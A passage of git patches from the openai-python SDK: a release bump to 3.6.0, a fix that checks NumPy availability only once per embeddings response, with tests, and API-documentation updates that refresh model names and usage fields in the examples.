+* **deps:** bump actions/setup-python from 5.6.0 to 7.0.0 ([#3672](https://github.com/openai/openai-python/issues/3672)) ([d765db7](https://github.com/openai/openai-python/commit/d765db7e929e76fc9e7edcc3a058d723ec69ac51))
+* **deps:** bump pypa/gh-action-pypi-publish from 1.14.0 to 1.14.2 ([#3666](https://github.com/openai/openai-python/issues/3666)) ([dacbb66](https://github.com/openai/openai-python/commit/dacbb6646d1b18257545dbb29badf8a9311ed0ae))
+
## [3.5.0](https://github.com/openai/openai-python/compare/v3.4.0...v3.5.0) (2026-08-27)
diff --git a/pyproject.toml b/pyproject.toml
index da36c382a5..b56bcc9de7 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.5.0"
+version = "3.6.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 5f5fbb0639..31bb06f4b6 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.5.0" # x-release-please-version
+__version__ = "3.6.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 1ad34ec3e8..76345ce8b1 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1524,7 +1524,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.5.0" # x-release-please-version
+version = "3.6.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From b19c2161b1eac80fbf1f6f67a64a50af99c53356 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Fri, 28 Aug 2026 22:31:01 +0000
Subject: [PATCH 092/341] fix: avoid repeated numpy checks for embeddings
(#3757)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Avoid calling has_numpy() once per returned embedding when the default
embeddings decoder handles a bulk base64 response. The parser now checks
whether any encoded vectors need decoding, resolves NumPy availability
once per response, and reuses that result for every encoded vector.
Add focused regressions that verify multiple encoded vectors trigger one
availability check and responses containing only already-decoded vectors
do not inspect NumPy.
## Additional context & links
Closes #3753
Parser-only benchmark for 1,500 vectors x 1,536 dimensions with NumPy
unavailable: 86.0 ms -> 20.5 ms median across 30 alternating runs, a
76.1% reduction and 4.18x speedup. With NumPy installed, performance was
effectively unchanged/slightly improved: 24.0 ms -> 23.5 ms.
Validation:
- 79 focused embeddings tests passed under Pydantic v2
- 79 focused embeddings tests passed under Pydantic v1
- 11,232 full-suite tests passed; 144 skipped
- Ruff format/check passed
- Pyright passed
- mypy passed
- Three adversarial review rounds completed; the final two consecutive
rounds were clean
---
src/openai/lib/_parsing/_embeddings.py | 6 +++++-
tests/lib/test_embeddings.py | 26 ++++++++++++++++++++++++++
2 files changed, 31 insertions(+), 1 deletion(-)
diff --git a/src/openai/lib/_parsing/_embeddings.py b/src/openai/lib/_parsing/_embeddings.py
index acb890fa52..5b03068bcd 100644
--- a/src/openai/lib/_parsing/_embeddings.py
+++ b/src/openai/lib/_parsing/_embeddings.py
@@ -20,11 +20,15 @@ def parse_embedding_response(
if not obj.data:
raise ValueError("No embedding data received")
+ if not any(isinstance(embedding.embedding, str) for embedding in obj.data):
+ return obj
+
+ use_numpy = has_numpy()
for embedding in obj.data:
data = cast(object, embedding.embedding)
if not isinstance(data, str):
continue
- if not has_numpy():
+ if not use_numpy:
# use array for base64 optimisation
embedding.embedding = array.array("f", base64.b64decode(data)).tolist()
else:
diff --git a/tests/lib/test_embeddings.py b/tests/lib/test_embeddings.py
index 787d580716..7c1eba53b0 100644
--- a/tests/lib/test_embeddings.py
+++ b/tests/lib/test_embeddings.py
@@ -63,6 +63,32 @@ def test_decode_preserves_response_and_non_string_vectors(encoding_format: Omit
assert parsed.model == "text-embedding-3-small"
+def test_decode_checks_numpy_once_per_response(monkeypatch: pytest.MonkeyPatch) -> None:
+ checks = 0
+
+ def has_numpy() -> bool:
+ nonlocal checks
+ checks += 1
+ return False
+
+ monkeypatch.setattr(embeddings_parser, "has_numpy", has_numpy)
+ response = make_response(ENCODED, ENCODED, ENCODED)
+
+ embeddings_parser.parse_embedding_response(response, encoding_format=omit)
+
+ assert checks == 1
+
+
+def test_decode_does_not_check_numpy_without_encoded_vectors(monkeypatch: pytest.MonkeyPatch) -> None:
+ def unexpected_decoder() -> bool:
+ raise AssertionError("a response without encoded vectors must not inspect the decoder")
+
+ monkeypatch.setattr(embeddings_parser, "has_numpy", unexpected_decoder)
+ response = make_response([1.0, 2.0], [3.0, 4.0])
+
+ assert embeddings_parser.parse_embedding_response(response, encoding_format=omit) is response
+
+
@pytest.mark.parametrize("encoding_format", ["float", "base64", None])
@pytest.mark.parametrize("vectors", [(ENCODED,), ("abc",), ()], ids=["encoded", "invalid", "empty"])
def test_explicit_format_is_untouched(
From 6f0da16573086401a7b171f4bd14a78f22c9d0e9 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 1 Sep 2026 21:14:25 -0400
Subject: [PATCH 093/341] feat(api): update usage APIs and documentation
(#3779)
## Summary
Updates organization usage filtering, Responses and Chat Completions
usage types, and API documentation.
## Changes
- Add optional `line_items` filtering to organization cost usage
requests, allowing results to be limited to exact cost line-item names
- Remove the unlaunched `compute_units` field from Responses and Chat
Completions usage types
- Refresh model examples, documentation links, and reasoning-model
guidance across affected API documentation
---------
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api_reference/openapi.transformed.yml | 733 +++++++++---------
.../resources/admin/organization/usage.py | 10 +
.../resources/beta/responses/responses.py | 72 +-
.../resources/chat/completions/completions.py | 36 +-
src/openai/resources/responses/responses.py | 72 +-
.../admin/organization/usage_costs_params.py | 7 +
src/openai/types/batch.py | 2 +-
src/openai/types/beta/beta_response.py | 10 +-
src/openai/types/beta/beta_response_usage.py | 5 -
.../types/beta/beta_responses_client_event.py | 8 +-
.../beta/beta_responses_client_event_param.py | 8 +-
.../types/beta/response_compact_params.py | 2 +-
.../types/beta/response_create_params.py | 8 +-
.../types/chat/completion_create_params.py | 2 +-
src/openai/types/completion_usage.py | 3 -
src/openai/types/eval_create_response.py | 2 +-
src/openai/types/eval_list_response.py | 2 +-
src/openai/types/eval_retrieve_response.py | 2 +-
src/openai/types/eval_update_response.py | 2 +-
...create_eval_completions_run_data_source.py | 2 +-
..._eval_completions_run_data_source_param.py | 2 +-
src/openai/types/responses/response.py | 7 +-
.../responses/response_compact_params.py | 2 +-
.../types/responses/response_create_params.py | 5 +-
src/openai/types/responses/response_usage.py | 5 -
.../types/responses/responses_client_event.py | 5 +-
.../responses/responses_client_event_param.py | 5 +-
src/openai/types/shared/reasoning.py | 3 +-
src/openai/types/shared_params/reasoning.py | 3 +-
.../admin/organization/test_usage.py | 2 +
tests/api_resources/beta/test_assistants.py | 16 +-
tests/api_resources/beta/test_responses.py | 8 +-
tests/api_resources/chat/test_completions.py | 32 +-
tests/api_resources/test_models.py | 12 +-
tests/api_resources/test_responses.py | 8 +-
tests/lib/chat/test_completions.py | 6 -
tests/lib/chat/test_completions_streaming.py | 1 -
38 files changed, 527 insertions(+), 597 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 881ff0abce..2b1be484c8 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: dd4c6a7b-158a-4b11-9b4a-128435aaa1f0
-openapi_spec_hash: 4af7018ff56446e0398fc7946a92680f
-openapi_transformed_spec_hash: b2689771e08c3fdc6ae8f0433dc2c784
-config_hash: 5c00fe18ea913ed0186f9894adc02a70
-codegen_sha: 9bc71a62e18aa941ba073325f46e29ff05e1e90c
-codegen_hash: 803a072c019069cce4b17ef21da0980c4d6086b7ba935ff45b9d8b9f00d7acdd
-public_codegen_sha: 734497bdc1d37e9709c026b67eaec668fe37f753
+generation_id: ee9a1017-930f-49f4-9724-5633d30d1c71
+openapi_spec_hash: 0ba3e4acd88b521d832e2a42d5471e00
+openapi_transformed_spec_hash: 0a6002520553b981f4c0bf6555a0a623
+config_hash: d8813efd847d1966dd7f03bb648c41dc
+codegen_sha: 7df32a6b1fe20434a95b0c9bbeb981810f5f3d20
+codegen_hash: 37a95ae987fcdd52ebbc324b4fa6aee8c76099df8af4b97250fb4ca5cf36965d
+public_codegen_sha: 86966c00928eccb2f77611935d572af7edd15619
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 1c5a24fad5..272cbeaf28 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -139,7 +139,7 @@ paths:
"created_at": 1698982736,
"name": "Coding Tutor",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a helpful assistant designed to make me better at coding!",
"tools": [],
"tool_resources": {},
@@ -154,7 +154,7 @@ paths:
"created_at": 1698982718,
"name": "My Assistant",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a helpful assistant designed to make me better at coding!",
"tools": [],
"tool_resources": {},
@@ -169,7 +169,7 @@ paths:
"created_at": 1698982643,
"name": null,
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"tools": [],
"tool_resources": {},
@@ -220,7 +220,7 @@ paths:
"instructions": "You are a personal math tutor. When asked a question, write and run Python code to answer the question.",
"name": "Math Tutor",
"tools": [{"type": "code_interpreter"}],
- "model": "gpt-4o"
+ "model": "gpt-5"
}'
python: |
from openai import OpenAI
@@ -230,7 +230,7 @@ paths:
instructions="You are a personal math tutor. When asked a question, write and run Python code to answer the question.",
name="Math Tutor",
tools=[{"type": "code_interpreter"}],
- model="gpt-4o",
+ model="gpt-5",
)
print(my_assistant)
javascript: |-
@@ -244,7 +244,7 @@ paths:
"You are a personal math tutor. When asked a question, write and run Python code to answer the question.",
name: "Math Tutor",
tools: [{ type: "code_interpreter" }],
- model: "gpt-4o",
+ model: "gpt-5",
});
console.log(myAssistant);
@@ -258,7 +258,7 @@ paths:
"created_at": 1698984975,
"name": "Math Tutor",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are a personal math tutor. When asked a question, write and run Python code to answer the question.",
"tools": [
{
@@ -281,7 +281,7 @@ paths:
"instructions": "You are an HR bot, and you have access to files to answer employee questions about company policies.",
"tools": [{"type": "file_search"}],
"tool_resources": {"file_search": {"vector_store_ids": ["vs_123"]}},
- "model": "gpt-4o"
+ "model": "gpt-5"
}'
python: |
from openai import OpenAI
@@ -292,7 +292,7 @@ paths:
name="HR Helper",
tools=[{"type": "file_search"}],
tool_resources={"file_search": {"vector_store_ids": ["vs_123"]}},
- model="gpt-4o"
+ model="gpt-5"
)
print(my_assistant)
javascript: |-
@@ -311,7 +311,7 @@ paths:
vector_store_ids: ["vs_123"]
}
},
- model: "gpt-4o"
+ model: "gpt-5"
});
console.log(myAssistant);
@@ -325,7 +325,7 @@ paths:
"created_at": 1699009403,
"name": "HR Helper",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are an HR bot, and you have access to files to answer employee questions about company policies.",
"tools": [
{
@@ -403,7 +403,7 @@ paths:
"created_at": 1699009709,
"name": "HR Helper",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are an HR bot, and you have access to files to answer employee questions about company policies.",
"tools": [
{
@@ -457,7 +457,7 @@ paths:
-d '{
"instructions": "You are an HR bot, and you have access to files to answer employee questions about company policies. Always response with info from either of the files.",
"tools": [{"type": "file_search"}],
- "model": "gpt-4o"
+ "model": "gpt-5"
}'
python: |
from openai import OpenAI
@@ -468,7 +468,7 @@ paths:
instructions="You are an HR bot, and you have access to files to answer employee questions about company policies. Always response with info from either of the files.",
name="HR Helper",
tools=[{"type": "file_search"}],
- model="gpt-4o"
+ model="gpt-5"
)
print(my_updated_assistant)
@@ -485,7 +485,7 @@ paths:
"You are an HR bot, and you have access to files to answer employee questions about company policies. Always response with info from either of the files.",
name: "HR Helper",
tools: [{ type: "file_search" }],
- model: "gpt-4o"
+ model: "gpt-5"
}
);
@@ -500,7 +500,7 @@ paths:
"created_at": 1699009709,
"name": "HR Helper",
"description": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You are an HR bot, and you have access to files to answer employee questions about company policies. Always response with info from either of the files.",
"tools": [
{
@@ -1941,7 +1941,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -2018,7 +2018,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "VAR_chat_model_id",
+ "model": "gpt-5.6-sol",
"messages": [
{
"role": "developer",
@@ -2035,7 +2035,7 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="VAR_chat_model_id",
+ model="gpt-5.6-sol",
messages=[
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2051,7 +2051,7 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
messages: [{ role: "developer", content: "You are a helpful assistant." }],
- model: "VAR_chat_model_id",
+ model: "gpt-5.6-sol",
store: true,
});
@@ -2066,7 +2066,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2084,7 +2084,7 @@ paths:
"id": "chatcmpl-B9MBs8CjcvOU2jLn4n570S5qMJKcT",
"object": "chat.completion",
"created": 1741569952,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"choices": [
{
"index": 0,
@@ -2122,7 +2122,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"messages": [
{
"role": "user",
@@ -2148,7 +2148,7 @@ paths:
client = OpenAI()
response = client.chat.completions.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
messages=[
{
"role": "user",
@@ -2174,7 +2174,7 @@ paths:
async function main() {
const response = await openai.chat.completions.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
messages: [
{
role: "user",
@@ -2200,7 +2200,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2221,7 +2221,7 @@ paths:
"id": "chatcmpl-B9MHDbslfkBeAs8l4bebGdFOJ6PeG",
"object": "chat.completion",
"created": 1741570283,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"choices": [
{
"index": 0,
@@ -2259,7 +2259,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "VAR_chat_model_id",
+ "model": "gpt-5.6-sol",
"messages": [
{
"role": "developer",
@@ -2277,7 +2277,7 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="VAR_chat_model_id",
+ model="gpt-5.6-sol",
messages=[
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2294,7 +2294,7 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
- model: "VAR_chat_model_id",
+ model: "gpt-5.6-sol",
messages: [
{"role": "developer", "content": "You are a helpful assistant."},
{"role": "user", "content": "Hello!"}
@@ -2317,7 +2317,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2337,13 +2337,13 @@ paths:
}
}
response: |
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"role":"assistant","content":""},"logprobs":null,"finish_reason":null}]}
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{"content":"Hello"},"logprobs":null,"finish_reason":null}]}
....
- {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-4o-mini", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}]}
+ {"id":"chatcmpl-123","object":"chat.completion.chunk","created":1694268190,"model":"gpt-5.6-sol", "system_fingerprint": "fp_44709d6fcb", "choices":[{"index":0,"delta":{},"logprobs":null,"finish_reason":"stop"}]}
- title: Functions
request:
curl: |
@@ -2351,7 +2351,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"messages": [
{
"role": "user",
@@ -2409,7 +2409,7 @@ paths:
]
messages = [{"role": "user", "content": "What's the weather like in Boston today?"}]
completion = client.chat.completions.create(
- model="VAR_chat_model_id",
+ model="gpt-5.6-sol",
messages=messages,
tools=tools,
tool_choice="auto"
@@ -2445,7 +2445,7 @@ paths:
];
const response = await openai.chat.completions.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
messages: messages,
tools: tools,
tool_choice: "auto",
@@ -2462,7 +2462,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2507,7 +2507,7 @@ paths:
"id": "chatcmpl-abc123",
"object": "chat.completion",
"created": 1699896916,
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"choices": [
{
"index": 0,
@@ -2547,13 +2547,14 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "VAR_chat_model_id",
+ "model": "gpt-5.6-sol",
"messages": [
{
"role": "user",
"content": "Hello!"
}
],
+ "reasoning_effort": "none",
"logprobs": true,
"top_logprobs": 2
}'
@@ -2562,10 +2563,11 @@ paths:
client = OpenAI()
completion = client.chat.completions.create(
- model="VAR_chat_model_id",
+ model="gpt-5.6-sol",
messages=[
{"role": "user", "content": "Hello!"}
],
+ reasoning_effort="none",
logprobs=True,
top_logprobs=2
)
@@ -2580,7 +2582,8 @@ paths:
async function main() {
const completion = await openai.chat.completions.create({
messages: [{ role: "user", content: "Hello!" }],
- model: "VAR_chat_model_id",
+ model: "gpt-5.6-sol",
+ reasoning_effort: "none",
logprobs: true,
top_logprobs: 2,
});
@@ -2596,7 +2599,7 @@ paths:
using OpenAI.Chat;
ChatClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -2607,6 +2610,7 @@ paths:
ChatCompletionOptions options = new()
{
+ ReasoningEffortLevel = ChatReasoningEffortLevel.None,
IncludeLogProbabilities = true,
TopLogProbabilityCount = 2
};
@@ -2619,7 +2623,7 @@ paths:
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1702685778,
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"choices": [
{
"index": 0,
@@ -2864,7 +2868,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-abc123",
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -2953,7 +2957,7 @@ paths:
{
"object": "chat.completion",
"id": "chatcmpl-AyPNinnUqUDYo9SAdA52NobMflmj2",
- "model": "gpt-4o-2024-08-06",
+ "model": "gpt-5.6-sol",
"created": 1738960610,
"request_id": "req_ded8ab984ec4bf840f37566c1011c417",
"tool_choice": null,
@@ -3152,7 +3156,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "VAR_completion_model_id",
+ "model": "gpt-3.5-turbo-instruct",
"prompt": "Say this is a test",
"max_tokens": 7,
"temperature": 0
@@ -3162,7 +3166,7 @@ paths:
client = OpenAI()
client.completions.create(
- model="VAR_completion_model_id",
+ model="gpt-3.5-turbo-instruct",
prompt="Say this is a test",
max_tokens=7,
temperature=0
@@ -3174,7 +3178,7 @@ paths:
async function main() {
const completion = await openai.completions.create({
- model: "VAR_completion_model_id",
+ model: "gpt-3.5-turbo-instruct",
prompt: "Say this is a test.",
max_tokens: 7,
temperature: 0,
@@ -3188,7 +3192,7 @@ paths:
"id": "cmpl-uqkvlQyYK7bGYrRHQ0eXlWi7",
"object": "text_completion",
"created": 1589478378,
- "model": "VAR_completion_model_id",
+ "model": "gpt-3.5-turbo-instruct",
"system_fingerprint": "fp_44709d6fcb",
"choices": [
{
@@ -3211,7 +3215,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "VAR_completion_model_id",
+ "model": "gpt-3.5-turbo-instruct",
"prompt": "Say this is a test",
"max_tokens": 7,
"temperature": 0,
@@ -3222,7 +3226,7 @@ paths:
client = OpenAI()
for chunk in client.completions.create(
- model="VAR_completion_model_id",
+ model="gpt-3.5-turbo-instruct",
prompt="Say this is a test",
max_tokens=7,
temperature=0,
@@ -3236,7 +3240,7 @@ paths:
async function main() {
const stream = await openai.completions.create({
- model: "VAR_completion_model_id",
+ model: "gpt-3.5-turbo-instruct",
prompt: "Say this is a test.",
stream: true,
});
@@ -5086,14 +5090,14 @@ paths:
-X POST \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-H "Content-Type: application/json" \
- -d '{"name":"gpt-4o-mini","data_source":{"type":"completions","input_messages":{"type":"template","template":[{"role":"developer","content":"Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"} , {"role":"user","content":"{{item.input}}"}]} ,"sampling_params":{"temperature":1,"max_completions_tokens":2048,"top_p":1,"seed":42},"model":"gpt-4o-mini","source":{"type":"file_content","content":[{"item":{"input":"Tech Company Launches Advanced Artificial Intelligence Platform","ground_truth":"Technology"}}]}}'
+ -d '{"name":"gpt-5.6-sol","data_source":{"type":"completions","input_messages":{"type":"template","template":[{"role":"developer","content":"Categorize a given news headline into one of the following topics: Technology, Markets, World, Business, or Sports.\n\n# Steps\n\n1. Analyze the content of the news headline to understand its primary focus.\n2. Extract the subject matter, identifying any key indicators or keywords.\n3. Use the identified indicators to determine the most suitable category out of the five options: Technology, Markets, World, Business, or Sports.\n4. Ensure only one category is selected per headline.\n\n# Output Format\n\nRespond with the chosen category as a single word. For instance: \"Technology\", \"Markets\", \"World\", \"Business\", or \"Sports\".\n\n# Examples\n\n**Input**: \"Apple Unveils New iPhone Model, Featuring Advanced AI Features\" \n**Output**: \"Technology\"\n\n**Input**: \"Global Stocks Mixed as Investors Await Central Bank Decisions\" \n**Output**: \"Markets\"\n\n**Input**: \"War in Ukraine: Latest Updates on Negotiation Status\" \n**Output**: \"World\"\n\n**Input**: \"Microsoft in Talks to Acquire Gaming Company for $2 Billion\" \n**Output**: \"Business\"\n\n**Input**: \"Manchester United Secures Win in Premier League Football Match\" \n**Output**: \"Sports\" \n\n# Notes\n\n- If the headline appears to fit into more than one category, choose the most dominant theme.\n- Keywords or phrases such as \"stocks\", \"company acquisition\", \"match\", or technological brands can be good indicators for classification.\n"} , {"role":"user","content":"{{item.input}}"}]} ,"sampling_params":{"max_completions_tokens":2048},"model":"gpt-5.6-sol","source":{"type":"file_content","content":[{"item":{"input":"Tech Company Launches Advanced Artificial Intelligence Platform","ground_truth":"Technology"}}]}}}'
python: |
from openai import OpenAI
client = OpenAI()
run = client.evals.runs.create(
"eval_67e579652b548190aaa83ada4b125f47",
- name="gpt-4o-mini",
+ name="gpt-5.6-sol",
data_source={
"type": "completions",
"input_messages": {
@@ -5110,12 +5114,9 @@ paths:
]
},
"sampling_params": {
- "temperature": 1,
- "max_completions_tokens": 2048,
- "top_p": 1,
- "seed": 42
+ "max_completions_tokens": 2048
},
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"source": {
"type": "file_content",
"content": [
@@ -5138,7 +5139,7 @@ paths:
const run = await openai.evals.runs.create(
"eval_67e579652b548190aaa83ada4b125f47",
{
- name: "gpt-4o-mini",
+ name: "gpt-5.6-sol",
data_source: {
type: "completions",
input_messages: {
@@ -5155,12 +5156,9 @@ paths:
]
},
sampling_params: {
- temperature: 1,
- max_completions_tokens: 2048,
- top_p: 1,
- seed: 42
+ max_completions_tokens: 2048
},
- model: "gpt-4o-mini",
+ model: "gpt-5.6-sol",
source: {
type: "file_content",
content: [
@@ -5183,8 +5181,8 @@ paths:
"eval_id": "eval_67e579652b548190aaa83ada4b125f47",
"report_url": "https://platform.openai.com/evaluations/eval_67e579652b548190aaa83ada4b125f47&run_id=evalrun_67e57965b480819094274e3a32235e4c",
"status": "queued",
- "model": "gpt-4o-mini",
- "name": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
+ "name": "gpt-5.6-sol",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5228,11 +5226,8 @@ paths:
}
]
},
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"sampling_params": {
- "seed": 42,
- "temperature": 1.0,
- "top_p": 1.0,
"max_completions_tokens": 2048
}
},
@@ -5305,8 +5300,8 @@ paths:
"eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
"report_url": "https://platform.openai.com/evaluations/eval_67abd54d9b0081909a86353f6fb9317a?run_id=evalrun_67abd54d60ec8190832b46859da808f7",
"status": "queued",
- "model": "gpt-4o-mini",
- "name": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
+ "name": "gpt-5.6-sol",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5434,11 +5429,8 @@ paths:
}
]
},
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"sampling_params": {
- "seed": 42,
- "temperature": 1.0,
- "top_p": 1.0,
"max_completions_tokens": 2048
}
},
@@ -5511,8 +5503,8 @@ paths:
"eval_id": "eval_67abd54d9b0081909a86353f6fb9317a",
"report_url": "https://platform.openai.com/evaluations/eval_67abd54d9b0081909a86353f6fb9317a?run_id=evalrun_67abd54d60ec8190832b46859da808f7",
"status": "canceled",
- "model": "gpt-4o-mini",
- "name": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
+ "name": "gpt-5.6-sol",
"created_at": 1743092069,
"result_counts": {
"total": 0,
@@ -5640,11 +5632,8 @@ paths:
}
]
},
- "model": "gpt-4o-mini",
+ "model": "gpt-5.6-sol",
"sampling_params": {
- "seed": 42,
- "temperature": 1.0,
- "top_p": 1.0,
"max_completions_tokens": 2048
}
},
@@ -5876,7 +5865,7 @@ paths:
}
],
"finish_reason": "stop",
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"usage": {
"total_tokens": 325,
"completion_tokens": 2,
@@ -6012,7 +6001,7 @@ paths:
}
],
"finish_reason": "stop",
- "model": "gpt-4o-mini-2024-07-18",
+ "model": "gpt-5.6-sol",
"usage": {
"total_tokens": 325,
"completion_tokens": 2,
@@ -6522,11 +6511,11 @@ paths:
"completion_tokens": 134,
"cached_tokens": 0
},
- "sampled_model_name": "gpt-4o-2024-08-06"
+ "sampled_model_name": "gpt-5-mini"
},
"sub_rewards": {},
"model_grader_token_usage_per_model": {
- "gpt-4o-2024-08-06": {
+ "gpt-5-mini": {
"prompt_tokens": 190,
"total_tokens": 324,
"completion_tokens": 134,
@@ -8268,7 +8257,7 @@ paths:
required: true
schema:
type: string
- example: gpt-4o-mini
+ example: gpt-5.6-sol
description: The ID of the model to use for this request
responses:
'200':
@@ -8283,20 +8272,20 @@ paths:
examples:
request:
curl: |
- curl https://api.openai.com/v1/models/VAR_chat_model_id \
+ curl https://api.openai.com/v1/models/gpt-5.6-sol \
-H "Authorization: Bearer $OPENAI_API_KEY"
python: |
